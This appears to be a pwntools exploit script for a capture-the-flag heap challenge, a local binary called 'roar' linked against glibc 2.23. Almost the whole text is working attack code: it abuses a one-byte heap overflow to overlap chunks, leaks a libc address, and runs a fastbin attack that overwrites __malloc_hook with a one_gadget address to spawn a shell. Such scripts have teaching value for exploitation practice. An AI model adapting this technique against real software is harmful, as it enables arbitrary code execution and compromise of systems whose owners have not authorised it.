| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 
 | from pwn import *context(arch='amd64', os='linux')
 p = process("./roar")
 
 
 libc = ELF("./libc-2.23.so")
 
 def create(size):
 p.sendlineafter("choice: ", str(1))
 p.sendlineafter("size: ", str(size))
 
 def write(index, size, content):
 p.sendlineafter("choice: ", str(2))
 p.sendlineafter("index: ", str(index))
 p.sendlineafter("size: ", str(size))
 p.sendlineafter("content: ", content)
 
 def free(index):
 p.sendlineafter("choice: ", str(3))
 p.sendlineafter("index: ", str(index))
 
 def show(index):
 p.sendlineafter("choice: ", str(4))
 p.sendlineafter("index: ", str(index))
 
 create(0x18)
 create(0x18)
 create(0x88)
 create(0x18)
 write(0,0x18+10,'a'*0x18+'\xb1')
 free(1)
 create(0x18)
 show(2)
 
 p.recvuntil("content: ")
 leak = u64(p.recvline()[:8])
 
 libc1 = leak - libc.symbols['__malloc_hook'] - 0x68
 malloc_hook = libc1 + libc.symbols['__malloc_hook']
 free_hook = libc1 + libc.symbols['__free_hook']
 fake_chunk = malloc_hook - 0x23
 
 log.info("Leak is:        " + hex(leak))
 log.info("Free hook is:   " + hex(free_hook))
 log.info("Malloc hook is: " + hex(malloc_hook))
 log.info("Fake chunk is:  " + hex(fake_chunk))
 log.info("libc is:        " + hex(libc1))
 
 
 realloc=libc1 + 0x846CD
 log.info("realloc is      " + hex(realloc))
 
 one_gadget=libc1 +0xf02a4
 
 
 create(0x88)
 create(0x18)
 create(0x68)
 create(0x18)
 write(3,0x18+10,'a'*0x18+'\x91')
 free(6)
 free(5)
 create(0x88)
 write(5, 0x28, b'a'*0x18+p64(0x71)+p64(malloc_hook-0x23))
 create(0x68)
 create(0x68)
 write(8, 0x1b, b'a'*0xb+p64(one_gadget)+p64(realloc))
 
 create(0x18)
 p.interactive()
 
 
 |